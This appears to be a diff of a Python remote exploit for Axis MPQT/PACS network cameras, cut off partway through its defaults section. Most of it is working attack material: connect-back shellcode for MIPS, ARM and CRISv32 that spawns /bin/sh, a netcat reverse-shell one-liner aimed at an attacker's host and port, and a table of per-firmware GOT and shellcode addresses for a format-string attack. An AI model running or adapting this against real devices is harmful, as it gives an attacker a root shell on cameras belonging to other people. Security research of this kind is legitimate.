- "%6e%96" # move.d $sp,$r9 - "%6e%b6" # move.d $sp,$r11 - "%7c%86" # clear.d $r12 - "%4b%92" # moveq 11,$r9 - "%3d%e9" # break 13 - ], '') - - - if self.target == 'MIPSel': - return MIPSel - elif self.target == 'ARMel': - return ARMel - elif self.target == 'CRISv32': - return CRISv32 - elif self.target == 'NCSH1': - return NCSH - elif self.target == 'NCSH2': - return NCSH - else: - print "[!] Unknown shellcode! (%s)" % str(self.target) - sys.exit(1) + # Slightly modified syscall's + MIPSel = string.join([ + #close stdin + "%ff%ff%04%28" #slti a0,zero,-1 + "%a6%0f%02%24" #li v0,4006 + "%4c%f7%f7%03" #syscall 0xdfdfd + #close stdout + "%11%11%04%28" #slti a0,zero,4369 + "%a6%0f%02%24" #li v0,4006 + "%4c%f7%f7%03" #syscall 0xdfdfd + #close stderr + "%fd%ff%0c%24" #li t4,-3 + "%27%20%80%01" #nor a0,t4,zero + "%a6%0f%02%24" #li v0,4006 + "%4c%f7%f7%03" #syscall 0xdfdfd + # socket AF_INET (2) + "%fd%ff%0c%24" #li t4,-3 + "%27%20%80%01" #nor a0,t4,zero + "%27%28%80%01" #nor a1,t4,zero + "%ff%ff%06%28" #slti a2,zero,-1 + "%57%10%02%24" #li v0,4183 + "%4c%f7%f7%03" #syscall 0xdfdfd + # + "%ff%ff%44%30" # andi $a0, $v0, 0xFFFF + # + # dup2 stdout + "%c9%0f%02%24" #li v0,4041 + "%4c%f7%f7%03" #syscall 0xdfdfd + # + # dup2 stderr + "%c9%0f%02%24" #li v0,4041 + "%4c%f7%f7%03" #syscall 0xdfdfd + # + # Port + "PP1PP0%05%3c" + "%01%ff%a5%34" + # + "%01%01%a5%20" #addi a1,a1,257 + "%f8%ff%a5%af" #sw a1,-8(sp) + # + # IP + "IP3IP4%05%3c" + "IP1IP2%a5%34" + # + "%fc%ff%a5%af" #sw a1,-4(sp) + "%f8%ff%a5%23" #addi a1,sp,-8 + "%ef%ff%0c%24" #li t4,-17 + "%27%30%80%01" #nor a2,t4,zero + "%4a%10%02%24" #li v0,4170 + "%4c%f7%f7%03" #syscall 0xdfdfd + # + "%62%69%08%3c" #lui t0,0x6962 + "%2f%2f%08%35" #ori t0,t0,0x2f2f + "%ec%ff%a8%af" #sw t0,-20(sp) + "%73%68%08%3c" #lui t0,0x6873 + "%6e%2f%08%35" #ori t0,t0,0x2f6e + "%f0%ff%a8%af" #sw t0,-16(sp + "%ff%ff%07%28" #slti a3,zero,-1 + "%f4%ff%a7%af" #sw a3,-12(sp) + "%fc%ff%a7%af" #sw a3,-4(sp + "%ec%ff%a4%23" #addi a0,sp,-20 + "%ec%ff%a8%23" #addi t0,sp,-20 + "%f8%ff%a8%af" #sw t0,-8(sp) + "%f8%ff%a5%23" #addi a1,sp,-8 + "%ec%ff%bd%27" #addiu sp,sp,-20 + "%ff%ff%06%28" #slti a2,zero,-1 + "%ab%0f%02%24" #li v0,4011 (execve) + "%4c%f7%f7%03" #syscall 0xdfdfd + ], '') + + # Working netcat shell + # - $PATH will locate 'mkfifo', 'nc' and 'rm' + # - LHOST / LPORT will be changed on the fly later in the code + # - 1) make FIFO, 2) netcat back to attacker with STDIN to /bin/sh, and PIPE STDOUT back to the remote via FIFO, 3) remove FIFO when exiting + # - $IFS = [By default, and we need or as separator] + # $ echo -n "$IFS" | hexdump -C + # 00000000 20 09 0a + # - $PS1 = $ [By default, and we need something to "comment" out our trailing FMS code from /bin/sh -c] + # + # '2>/tmp/s' (STDERR > FIFO) Don't work with $IFS as separator + # + # Working with Apache and Boa +# NCSH = "mkfifo$IFS/tmp/s;nc$IFS-w$IFS\"5\"$IFS\"LHOST\"$IFS\"LPORT\"$IFS0/tmp/s\"$IFS\"2>/tmp/s;rm$IFS/tmp/s;$PS1" + NCSH = "mkfifo$IFS/tmp/s;nc$IFS-w$IFS\"5\"$IFS\"LHOST\"$IFS\"LPORT\"$IFS0/tmp/s;rm$IFS/tmp/s;$PS1" + + ARMel = string.join([ + # original: http://shell-storm.org/shellcode/files/shellcode-754.php + # 32-bit instructions, enter thumb mode + "%01%10%8f%e2" # add r1, pc, #1 + "%11%ff%2f%e1" # bx r1 + + # 16-bit thumb instructions follow + # + # socket(2, 1, 0) + "%02%20" #mov r0, #2 + "%01%21" #mov r1, #1 + "%92%1a" #sub r2, r2, r2 + "%0f%02" #lsl r7, r1, #8 + "%19%37" #add r7, r7, #25 + "%01%df" #svc 1 + # + # connect(r0, &addr, 16) + "%06%1c" #mov r6, r0 + "%08%a1" #add r1, pc, #32 + "%10%22" #mov r2, #16 + "%02%37" #add r7, #2 + "%01%df" #svc 1 + # + # dup2(r0, 0/1/2) + "%3f%27" #mov r7, #63 + "%02%21" #mov r1, #2 + # + #lb: + "%30%1c" #mov r0, r6 + "%01%df" #svc 1 + "%01%39" #sub r1, #1 + "%fb%d5" #bpl lb + # + # execve("/bin/sh", ["/bin/sh", 0], 0) + "%05%a0" #add r0, pc, #20 + "%92%1a" #sub r2, r2, r2 + "%05%b4" #push {r0, r2} + "%69%46" #mov r1, sp + "%0b%27" #mov r7, #11 + "%01%df" #svc 1 + # + "%c0%46" # .align 2 (NOP) + "%02%00" # .short 0x2 (struct sockaddr) + "PP1PP0" # .short 0x3412 (port: 0x1234) + "IP1IP2IP3IP4" #.byte 192,168,57,1 (ip: 192.168.57.1) + # .ascii "/bin/sh\0\0" + "%2f%62%69%6e" # /bin + "%2f%73%68%00%00" # /sh\x00\x00 + "%00%00%00%00" + "%c0%46" + ], '') + + + # Connect-back shell for Axis CRISv32 + # Written by mcw noemail eu 2016 + # + CRISv32 = string.join([ + #close(0) + "%7a%86" # clear.d r10 + "%5f%9c%06%00" # movu.w 0x6,r9 + "%3d%e9" # break 13 + #close(1) + "%41%a2" # moveq 1,r10 + "%5f%9c%06%00" # movu.w 0x6,r9 + "%3d%e9" # break 13 + #close(2) + "%42%a2" # moveq 2,r10 + "%5f%9c%06%00" # movu.w 0x6,r9 + "%3d%e9" # break 13 + # + "%10%e1" # addoq 16,sp,acr + "%42%92" # moveq 2,r9 + "%df%9b" # move.w r9,[acr] + "%10%e1" # addoq 16,sp,acr + "%02%f2" # addq 2,acr + #PORT + "%5f%9ePP1PP0" # move.w 0xPP1PP0,r9 # + "%df%9b" # move.w r9,[acr] + "%10%e1" # addoq 16,sp,acr + "%6f%96" # move.d acr,r9 + "%04%92" # addq 4,r9 + #IP + "%6f%feIP1IP2IP3IP4" # move.d IP4IP3IP2IP1,acr + "%e9%fb" # move.d acr,[r9] + # + #socket() + "%42%a2" # moveq 2,r10 + "%41%b2" # moveq 1,r11 + "%7c%86" # clear.d r12 + "%6e%96" # move.d $sp,$r9 + "%e9%af" # move.d $r10,[$r9+] + "%e9%bf" # move.d $r11,[$r9+] + "%e9%cf" # move.d $r12,[$r9+] + "%41%a2" # moveq 1,$r10 + "%6e%b6" # move.d $sp,$r11 + "%5f%9c%66%00" # movu.w 0x66,$r9 + "%3d%e9" # break 13 + # + "%6a%96" # move.d $r10,$r9 + "%0c%e1" # addoq 12,$sp,$acr + "%ef%9b" # move.d $r9,[$acr] + "%0c%e1" # addoq 12,$sp,$acr + "%6e%96" # move.d $sp,$r9 + "%10%92" # addq 16,$r9 + "%6f%aa" # move.d [$acr],$r10 + "%69%b6" # move.d $r9,$r11 + "%50%c2" # moveq 16,$r12 + # + # connect() + "%6e%96" # move.d $sp,$r9 + "%e9%af" # move.d $r10,[$r9+] + "%e9%bf" # move.d $r11,[$r9+] + "%e9%cf" # move.d $r12,[$r9+] + "%43%a2" # moveq 3,$r10 + "%6e%b6" # move.d $sp,$r11 + "%5f%9c%66%00" # movu.w 0x66,$r9 + "%3d%e9" # break 13 + # dup(0) already in socket + #dup(1) + "%6f%aa" # move.d [$acr],$r10 + "%41%b2" # moveq 1,$r11 + "%5f%9c%3f%00" # movu.w 0x3f,$r9 + "%3d%e9" # break 13 + # + #dup(2) + "%6f%aa" # move.d [$acr],$r10 + "%42%b2" # moveq 2,$r11 + "%5f%9c%3f%00" # movu.w 0x3f,$r9 + "%3d%e9" # break 13 + # + #execve("/bin/sh",NULL,NULL) + "%90%e2" # subq 16,$sp + "%6e%96" # move.d $sp,$r9 + "%6e%a6" # move.d $sp,$10 + "%6f%0e%2f%2f%62%69" # move.d 69622f2f,$r0 + "%e9%0b" # move.d $r0,[$r9] + "%04%92" # addq 4,$r9 + "%6f%0e%6e%2f%73%68" # move.d 68732f6e,$r0 + "%e9%0b" # move.d $r0,[$r9] + "%04%92" # addq 4,$r9 + "%79%8a" # clear.d [$r9] + "%04%92" # addq 4,$r9 + "%79%8a" # clear.d [$r9] + "%04%92" # addq 4,$r9 + "%e9%ab" # move.d $r10,[$r9] + "%04%92" # addq 4,$r9 + "%79%8a" # clear.d [$r9] + "%10%e2" # addq 16,$sp + "%6e%f6" # move.d $sp,$acr + "%6e%96" # move.d $sp,$r9 + "%6e%b6" # move.d $sp,$r11 + "%7c%86" # clear.d $r12 + "%4b%92" # moveq 11,$r9 + "%3d%e9" # break 13 + ], '') + + + if self.target == 'MIPSel': + return MIPSel + elif self.target == 'ARMel': + return ARMel + elif self.target == 'CRISv32': + return CRISv32 + elif self.target == 'NCSH1': + return NCSH + elif self.target == 'NCSH2': + return NCSH + else: + print("[!] Unknown shellcode! (%s)" % str(self.target)) + sys.exit(1) class FMSdb: - def __init__(self,targetIP,verbose): - self.targetIP = targetIP - self.verbose = verbose + def __init__(self,targetIP,verbose): + self.targetIP = targetIP + self.verbose = verbose - def FMSkey(self,target): - self.target = target + def FMSkey(self,target): + self.target = target - target_db = { + target_db = { #----------------------------------------------------------------------- # All pointing from free() GOT to shellcode on .bss (Except ARM with NCSH) @@ -707,171 +708,171 @@ def FMSkey(self,target): # # Using POP format string, AKA 'Old Style' # - # MPQT - 'MIPS-5.85.x': [ - 0x41f370, # Adjust to GOT free() address - 0x420900, # .bss shellcode address - 2, # 1st POP's - 2, # 2nd POP's - 'axi', # Aligns injected code - 700, # How big buffer before shellcode - 'MIPSel' # Shellcode type - ], - - # MPQT - 'MIPS-5.40.3': [ - 0x41e41c, # Adjust to GOT free() address - 0x4208cc, # .bss shellcode address - 7, # 1st POP's - 11, # 2nd POP's - 'ax', # Aligns injected code - 450, # How big buffer before shellcode - 'MIPSel' # Shellcode type - ], - - # MPQT - 'MIPS-5.4x': [ - 0x41e4cc, # Adjust to GOT free() address - 0x42097c, # .bss shellcode address - 7, # 1st POP's - 11, # 2nd POP's - 'ax', # Aligns injected code - 450, # How big buffer before shellcode - 'MIPSel' # Shellcode type - ], - - # MPQT - 'MIPS-5.5x': [ - 0x41d11c, # Adjust to GOT free() address - 0x41f728, # .bss shellcode address - 5, # 1st POP's - 15, # 2nd POP's - 'axis', # Aligns injected code - 700, # How big buffer before shellcode - 'MIPSel' # Shellcode type - ], - - # MPQT - 'MIPS-5.55x': [ - 0x41d11c, # Adjust to GOT free() address - 0x41f728, # .bss shellcode address - 11, # 1st POP's - 9, # 2nd POP's - 'axis', # Aligns injected code - 700, # How big buffer before shellcode - 'MIPSel' # Shellcode type - ], - - # Shared with MPQT and PACS - 'MIPS-5.6x': [ - 0x41d048, # Adjust to GOT free() address - 0x41f728, # .bss shellcode address - 5, # 1st POP's - 15, # 2nd POP's - 'axis', # Aligns injected code - 700, # How big buffer before shellcode - 'MIPSel' # Shellcode type - - ], - - # MPQT - 'MIPS-5.7x': [ - 0x41d04c, # Adjust to GOT free() address - 0x41f718, # .bss shellcode address - 2, # 1st POP's - 14, # 2nd POP's - 'axis', # Aligns injected code - 700, # How big buffer before shellcode - 'MIPSel' # Shellcode type - ], - - # MPQT - 'MIPS-5.75x': [ - 0x41c498, # Adjust to GOT free() address - 0x41daf0, # .bss shellcode address - 3, # 1st POP's - 13, # 2nd POP's - 'axi', # Aligns injected code - 700, # How big buffer before shellcode - 'MIPSel' # Shellcode type - ], - - # Shared with MPQT and PACS - 'MIPS-5.8x': [ - 0x41d0c0, # Adjust to GOT free() address - 0x41e740, # .bss shellcode address - 3, # 1st POP's - 13, # 2nd POP's - 'axi', # Aligns injected code - 700, # How big buffer before shellcode - 'MIPSel' # Shellcode type - ], - - # MPQT - 'MIPS-5.9x': [ - 0x41d0c0, # Adjust to GOT free() address - 0x41e750, # .bss shellcode address - 3, # 1st POP's - 13, # 2nd POP's - 'axi', # Aligns injected code - 700, # How big buffer before shellcode - 'MIPSel' # Shellcode type - ], - - # MPQT - 'MIPS-6.1x': [ - 0x41c480, # Adjust to GOT free() address - 0x41dac0, # .bss shellcode address - 3, # 1st POP's - 13, # 2nd POP's - 'axi', # Aligns injected code - 700, # How big buffer before shellcode - 'MIPSel' # Shellcode type - ], - - # MPQT - 'MIPS-6.2x': [ - 0x41e578, # Adjust to GOT free() address - 0x41fae0, # .bss shellcode address - 2, # 1st POP's - 2, # 2nd POP's - 'axi', # Aligns injected code - 700, # How big buffer before shellcode - 'MIPSel' # Shellcode type - ], - - # MPQT - 'MIPS-6.20x': [ - 0x41d0c4, # Adjust to GOT free() address - 0x41e700, # .bss shellcode address - 3, # 1st POP's - 13, # 2nd POP's - 'axi', # Aligns injected code - 700, # How big buffer before shellcode - 'MIPSel' # Shellcode type - ], - - # PACS - 'MIPS-1.3x': [ - 0x41e4cc, # Adjust to GOT free() address - 0x420a78, # .bss shellcode address - 7, # 1st POP's - 11, # 2nd POP's - 'axis', # Aligns injected code - 700, # How big buffer before shellcode - 'MIPSel' # Shellcode type - ], - - # PACS - 'MIPS-1.1x': [ - 0x41e268, # Adjust to GOT free() address - 0x420818, # .bss shellcode address - 7, # 1st POP's - 11, # 2nd POP's - 'axis', # Aligns injected code - 700, # How big buffer before shellcode - 'MIPSel' # Shellcode type - ], + # MPQT + 'MIPS-5.85.x': [ + 0x41f370, # Adjust to GOT free() address + 0x420900, # .bss shellcode address + 2, # 1st POP's + 2, # 2nd POP's + 'axi', # Aligns injected code + 700, # How big buffer before shellcode + 'MIPSel' # Shellcode type + ], + + # MPQT + 'MIPS-5.40.3': [ + 0x41e41c, # Adjust to GOT free() address + 0x4208cc, # .bss shellcode address + 7, # 1st POP's + 11, # 2nd POP's + 'ax', # Aligns injected code + 450, # How big buffer before shellcode + 'MIPSel' # Shellcode type + ], + + # MPQT + 'MIPS-5.4x': [ + 0x41e4cc, # Adjust to GOT free() address + 0x42097c, # .bss shellcode address + 7, # 1st POP's + 11, # 2nd POP's + 'ax', # Aligns injected code + 450, # How big buffer before shellcode + 'MIPSel' # Shellcode type + ], + + # MPQT + 'MIPS-5.5x': [ + 0x41d11c, # Adjust to GOT free() address + 0x41f728, # .bss shellcode address + 5, # 1st POP's + 15, # 2nd POP's + 'axis', # Aligns injected code + 700, # How big buffer before shellcode + 'MIPSel' # Shellcode type + ], + + # MPQT + 'MIPS-5.55x': [ + 0x41d11c, # Adjust to GOT free() address + 0x41f728, # .bss shellcode address + 11, # 1st POP's + 9, # 2nd POP's + 'axis', # Aligns injected code + 700, # How big buffer before shellcode + 'MIPSel' # Shellcode type + ], + + # Shared with MPQT and PACS + 'MIPS-5.6x': [ + 0x41d048, # Adjust to GOT free() address + 0x41f728, # .bss shellcode address + 5, # 1st POP's + 15, # 2nd POP's + 'axis', # Aligns injected code + 700, # How big buffer before shellcode + 'MIPSel' # Shellcode type + + ], + + # MPQT + 'MIPS-5.7x': [ + 0x41d04c, # Adjust to GOT free() address + 0x41f718, # .bss shellcode address + 2, # 1st POP's + 14, # 2nd POP's + 'axis', # Aligns injected code + 700, # How big buffer before shellcode + 'MIPSel' # Shellcode type + ], + + # MPQT + 'MIPS-5.75x': [ + 0x41c498, # Adjust to GOT free() address + 0x41daf0, # .bss shellcode address + 3, # 1st POP's + 13, # 2nd POP's + 'axi', # Aligns injected code + 700, # How big buffer before shellcode + 'MIPSel' # Shellcode type + ], + + # Shared with MPQT and PACS + 'MIPS-5.8x': [ + 0x41d0c0, # Adjust to GOT free() address + 0x41e740, # .bss shellcode address + 3, # 1st POP's + 13, # 2nd POP's + 'axi', # Aligns injected code + 700, # How big buffer before shellcode + 'MIPSel' # Shellcode type + ], + + # MPQT + 'MIPS-5.9x': [ + 0x41d0c0, # Adjust to GOT free() address + 0x41e750, # .bss shellcode address + 3, # 1st POP's + 13, # 2nd POP's + 'axi', # Aligns injected code + 700, # How big buffer before shellcode + 'MIPSel' # Shellcode type + ], + + # MPQT + 'MIPS-6.1x': [ + 0x41c480, # Adjust to GOT free() address + 0x41dac0, # .bss shellcode address + 3, # 1st POP's + 13, # 2nd POP's + 'axi', # Aligns injected code + 700, # How big buffer before shellcode + 'MIPSel' # Shellcode type + ], + + # MPQT + 'MIPS-6.2x': [ + 0x41e578, # Adjust to GOT free() address + 0x41fae0, # .bss shellcode address + 2, # 1st POP's + 2, # 2nd POP's + 'axi', # Aligns injected code + 700, # How big buffer before shellcode + 'MIPSel' # Shellcode type + ], + + # MPQT + 'MIPS-6.20x': [ + 0x41d0c4, # Adjust to GOT free() address + 0x41e700, # .bss shellcode address + 3, # 1st POP's + 13, # 2nd POP's + 'axi', # Aligns injected code + 700, # How big buffer before shellcode + 'MIPSel' # Shellcode type + ], + + # PACS + 'MIPS-1.3x': [ + 0x41e4cc, # Adjust to GOT free() address + 0x420a78, # .bss shellcode address + 7, # 1st POP's + 11, # 2nd POP's + 'axis', # Aligns injected code + 700, # How big buffer before shellcode + 'MIPSel' # Shellcode type + ], + + # PACS + 'MIPS-1.1x': [ + 0x41e268, # Adjust to GOT free() address + 0x420818, # .bss shellcode address + 7, # 1st POP's + 11, # 2nd POP's + 'axis', # Aligns injected code + 700, # How big buffer before shellcode + 'MIPSel' # Shellcode type + ], # # Tested with execstack to set executable stack flag bit on bin's and lib's @@ -879,187 +880,187 @@ def FMSkey(self,target): # These two 'Old Style' are not used in the exploit, but kept here as reference as they has been confirmed working. # - # ARMel with bin/libs executable stack flag set with 'execstack' - # MPQT - 'ARM-5.50x': [ # - 0x1c1b4, # Adjust to GOT free() address - 0x1e7c8, # .bss shellcode address - 93, # 1st POP's - 1, # 2nd POP's - 'axis', # Aligns injected code - 700, # How big buffer before shellcode - 'ARMel' # Shellcode type (ARMel) - ], - - # ARMel with bin/libs executable stack flag set with 'execstack' - # MPQT - 'ARM-5.55x': [ # - 0x1c15c, # Adjust to GOT free() address - 0x1e834, # .bss shellcode address - 59, # 1st POP's - 80, # 2nd POP's - 'axis', # Aligns injected code - 800, # How big buffer before shellcode - 'ARMel' # Shellcode type (ARMel) - ], + # ARMel with bin/libs executable stack flag set with 'execstack' + # MPQT + 'ARM-5.50x': [ # + 0x1c1b4, # Adjust to GOT free() address + 0x1e7c8, # .bss shellcode address + 93, # 1st POP's + 1, # 2nd POP's + 'axis', # Aligns injected code + 700, # How big buffer before shellcode + 'ARMel' # Shellcode type (ARMel) + ], + + # ARMel with bin/libs executable stack flag set with 'execstack' + # MPQT + 'ARM-5.55x': [ # + 0x1c15c, # Adjust to GOT free() address + 0x1e834, # .bss shellcode address + 59, # 1st POP's + 80, # 2nd POP's + 'axis', # Aligns injected code + 800, # How big buffer before shellcode + 'ARMel' # Shellcode type (ARMel) + ], # # Using direct parameter access format string, AKA 'New Style' # - # MPQT - 'ARM-NCSH-5.20x': [ # AXIS P1311 5.20 (id=root) - 0x1c1b4, # Adjust to GOT free() address - 0x10178, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()" - 61, # 1st POP's - 115, # 2nd POP's - 143, # 3rd POP's - 118, # 4th POP's - 'NCSH2' # Shellcode type (Netcat Shell) - ], - - # MPQT - 'ARM-NCSH-5.2x': [ # - 0x1c1b4, # Adjust to GOT free() address - 0x1013c, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()" - 61, # 1st POP's - 115, # 2nd POP's - 143, # 3rd POP's - 118, # 4th POP's - 'NCSH2' # Shellcode type (Netcat Shell) - ], - - # MPQT - 'ARM-NCSH-5.4x': [ # - 0x1c1b4, # Adjust to GOT free() address - 0x101fc, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()" - 61, # 1st POP's - 115, # 2nd POP's - 143, # 3rd POP's - 118, # 4th POP's - 'NCSH2' # Shellcode type (Netcat Shell) - ], + # MPQT + 'ARM-NCSH-5.20x': [ # AXIS P1311 5.20 (id=root) + 0x1c1b4, # Adjust to GOT free() address + 0x10178, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()" + 61, # 1st POP's + 115, # 2nd POP's + 143, # 3rd POP's + 118, # 4th POP's + 'NCSH2' # Shellcode type (Netcat Shell) + ], + + # MPQT + 'ARM-NCSH-5.2x': [ # + 0x1c1b4, # Adjust to GOT free() address + 0x1013c, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()" + 61, # 1st POP's + 115, # 2nd POP's + 143, # 3rd POP's + 118, # 4th POP's + 'NCSH2' # Shellcode type (Netcat Shell) + ], + + # MPQT + 'ARM-NCSH-5.4x': [ # + 0x1c1b4, # Adjust to GOT free() address + 0x101fc, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()" + 61, # 1st POP's + 115, # 2nd POP's + 143, # 3rd POP's + 118, # 4th POP's + 'NCSH2' # Shellcode type (Netcat Shell) + ], # # Using POP format string, AKA 'Old Style' # - # MPQT - 'ARM-NCSH-5.5x': [ # - 0x1c15c, # Adjust to GOT free() address - 0xfdcc, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()" - 97, # 1st POP's - 0, # 2nd POP's - 41, # 3rd POP's - 0, # 4th POP's - 'NCSH1' # Shellcode type (Netcat Shell) - ], - - # MPQT - 'ARM-NCSH-5.6x': [ # - 0x1c15c, # Adjust to GOT free() address - 0xfcec, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()" - 97, # 1st POP's - 0, # 2nd POP's - 41, # 3rd POP's - 0, # 4th POP's - 'NCSH1' # Shellcode type (Netcat Shell) - ], - - # MPQT - 'ARM-NCSH-5.7x': [ # - 0x1c1c0, # Adjust to GOT free() address - 0xf800, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()" - 132, # 1st POP's - 0, # 2nd POP's - 34, # 3rd POP's - 0, # 4th POP's - 'NCSH1' # Shellcode type (Netcat Shell) - ], - - # Will go in endless loop after exit of nc shell... DoS sux - # MPQT - 'ARM-NCSH-5.8x': [ # - 0x1b39c, # Adjust to GOT free() address - 0xf8c0, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()" - 98, # 1st POP's - 0, # 2nd POP's - 34, # 3rd POP's - 1, # 4th POP's - 'NCSH1' # Shellcode type (Netcat Shell) - ], - - # MPQT - 'ARM-NCSH-6.1x': [ # - 0x1d2a4, # Adjust to GOT free() address -# 0xecc4, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()" - 0xecc8, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()" - 106, # 1st POP's - 0, # 2nd POP's - 34, # 3rd POP's - 1, # 4th POP's - 'NCSH1' # Shellcode type (Netcat Shell) - ], + # MPQT + 'ARM-NCSH-5.5x': [ # + 0x1c15c, # Adjust to GOT free() address + 0xfdcc, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()" + 97, # 1st POP's + 0, # 2nd POP's + 41, # 3rd POP's + 0, # 4th POP's + 'NCSH1' # Shellcode type (Netcat Shell) + ], + + # MPQT + 'ARM-NCSH-5.6x': [ # + 0x1c15c, # Adjust to GOT free() address + 0xfcec, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()" + 97, # 1st POP's + 0, # 2nd POP's + 41, # 3rd POP's + 0, # 4th POP's + 'NCSH1' # Shellcode type (Netcat Shell) + ], + + # MPQT + 'ARM-NCSH-5.7x': [ # + 0x1c1c0, # Adjust to GOT free() address + 0xf800, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()" + 132, # 1st POP's + 0, # 2nd POP's + 34, # 3rd POP's + 0, # 4th POP's + 'NCSH1' # Shellcode type (Netcat Shell) + ], + + # Will go in endless loop after exit of nc shell... DoS sux + # MPQT + 'ARM-NCSH-5.8x': [ # + 0x1b39c, # Adjust to GOT free() address + 0xf8c0, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()" + 98, # 1st POP's + 0, # 2nd POP's + 34, # 3rd POP's + 1, # 4th POP's + 'NCSH1' # Shellcode type (Netcat Shell) + ], + + # MPQT + 'ARM-NCSH-6.1x': [ # + 0x1d2a4, # Adjust to GOT free() address +# 0xecc4, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()" + 0xecc8, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()" + 106, # 1st POP's + 0, # 2nd POP's + 34, # 3rd POP's + 1, # 4th POP's + 'NCSH1' # Shellcode type (Netcat Shell) + ], # # Using POP format string, AKA 'Old Style' # - # MPQT - 'CRISv32-5.5x': [ # - 0x8d148, # Adjust to GOT free() address - 0x8f5a8, # .bss shellcode address - 4, # 1st POP's - 13, # 2nd POP's - 'axis', # Aligns injected code - 470, # How big buffer before shellcode - 'CRISv32' # Shellcode type (Crisv32) - ], - - # MPQT - 'CRISv32-5.4x': [ # - 0x8d0e0, # Adjust to GOT free() address - 0x8f542, # .bss shellcode address - 4, # 1st POP's - 13, # 2nd POP's - 'axis', # Aligns injected code - 470, # How big buffer before shellcode - 'CRISv32' # Shellcode type (Crisv32) - ], - - # MPQT - 'CRISv32-5.2x': [ # - 0x8d0b4, # Adjust to GOT free() address - 0x8f4d6, # .bss shellcode address - 4, # 1st POP's - 13, # 2nd POP's - 'axis', # Aligns injected code - 470, # How big buffer before shellcode - 'CRISv32' # Shellcode type (Crisv32) - ], - - # MPQT - 'CRISv32-5.20.0': [ # - 0x8d0e4, # Adjust to GOT free() address - 0x8f546, # .bss shellcode address - 4, # 1st POP's - 13, # 2nd POP's - 'axis', # Aligns injected code - 470, # How big buffer before shellcode - 'CRISv32' # Shellcode type (Crisv32) - ] - - - } - - if self.target == 0: - return target_db - - if not self.target in target_db: - print "[!] Unknown FMS key: %s!" % self.target - sys.exit(1) - - if self.verbose: - print "[Verbose] Number of availible FMS keys:",len(target_db) - - return target_db + # MPQT + 'CRISv32-5.5x': [ # + 0x8d148, # Adjust to GOT free() address + 0x8f5a8, # .bss shellcode address + 4, # 1st POP's + 13, # 2nd POP's + 'axis', # Aligns injected code + 470, # How big buffer before shellcode + 'CRISv32' # Shellcode type (Crisv32) + ], + + # MPQT + 'CRISv32-5.4x': [ # + 0x8d0e0, # Adjust to GOT free() address + 0x8f542, # .bss shellcode address + 4, # 1st POP's + 13, # 2nd POP's + 'axis', # Aligns injected code + 470, # How big buffer before shellcode + 'CRISv32' # Shellcode type (Crisv32) + ], + + # MPQT + 'CRISv32-5.2x': [ # + 0x8d0b4, # Adjust to GOT free() address + 0x8f4d6, # .bss shellcode address + 4, # 1st POP's + 13, # 2nd POP's + 'axis', # Aligns injected code + 470, # How big buffer before shellcode + 'CRISv32' # Shellcode type (Crisv32) + ], + + # MPQT + 'CRISv32-5.20.0': [ # + 0x8d0e4, # Adjust to GOT free() address + 0x8f546, # .bss shellcode address + 4, # 1st POP's + 13, # 2nd POP's + 'axis', # Aligns injected code + 470, # How big buffer before shellcode + 'CRISv32' # Shellcode type (Crisv32) + ] + + +} + + if self.target == 0: + return target_db + + if not self.target in target_db: + print("[!] Unknown FMS key: %s!" % self.target) + sys.exit(1) + + if self.verbose: + print("[Verbose] Number of availible FMS keys:",len(target_db)) + + return target_db # @@ -1067,52 +1068,52 @@ def FMSkey(self,target): # class Validate: - def __init__(self,verbose): - self.verbose = verbose - - # Check if IP is valid - def CheckIP(self,IP): - self.IP = IP - - ip = self.IP.split('.') - if len(ip) != 4: - return False - for tmp in ip: - if not tmp.isdigit(): - return False - i = int(tmp) - if i < 0 or i > 255: - return False - return True - - # Check if PORT is valid - def Port(self,PORT): - self.PORT = PORT - - if int(self.PORT) < 1 or int(self.PORT) > 65535: - return False - else: - return True - - # Check if HOST is valid - def Host(self,HOST): - self.HOST = HOST - - try: - # Check valid IP - socket.inet_aton(self.HOST) # Will generate exeption if we try with FQDN or invalid IP - # Or we check again if it is correct typed IP - if self.CheckIP(self.HOST): - return self.HOST - else: - return False - except socket.error as e: - # Else check valid DNS name, and use the IP address - try: - self.HOST = socket.gethostbyname(self.HOST) - return self.HOST - except socket.error as e: - return False + def __init__(self,verbose): + self.verbose = verbose + + # Check if IP is valid + def CheckIP(self,IP): + self.IP = IP + + ip = self.IP.split('.') + if len(ip) != 4: + return False + for tmp in ip: + if not tmp.isdigit(): + return False + i = int(tmp) + if i < 0 or i > 255: + return False + return True + + # Check if PORT is valid + def Port(self,PORT): + self.PORT = PORT + + if int(self.PORT) < 1 or int(self.PORT) > 65535: + return False + else: + return True + + # Check if HOST is valid + def Host(self,HOST): + self.HOST = HOST + + try: + # Check valid IP + socket.inet_aton(self.HOST) # Will generate exeption if we try with FQDN or invalid IP + # Or we check again if it is correct typed IP + if self.CheckIP(self.HOST): + return self.HOST + else: + return False + except socket.error as e: + # Else check valid DNS name, and use the IP address + try: + self.HOST = socket.gethostbyname(self.HOST) + return self.HOST + except socket.error as e: + return False @@ -1120,361 +1121,361 @@ def Host(self,HOST): # # Help, info and pre-defined values -# - INFO = '[Axis Communications MPQT/PACS remote exploit 2016 bashis ]' - HTTP = "http" - HTTPS = "https" - proto = HTTP - verbose = False - noexploit = False - lhost = '192.168.0.1' # Default Local HOST - lport = '31337' # Default Local PORT - rhost = '192.168.0.90' # Default Remote HOST - rport = '80' # Default Remote PORT - # Not needed for the SSI exploit, here for possible future usage. -# creds = 'root:pass' - creds = False +# + INFO = '[Axis Communications MPQT/PACS remote exploit 2016 bashis ]' + HTTP = "http" + HTTPS = "https" + proto = HTTP + verbose = False + noexploit = False + lhost = '192.168.0.1' # Default Local HOST + lport = '31337' # Default Local PORT + rhost = '192.168.0.90' # 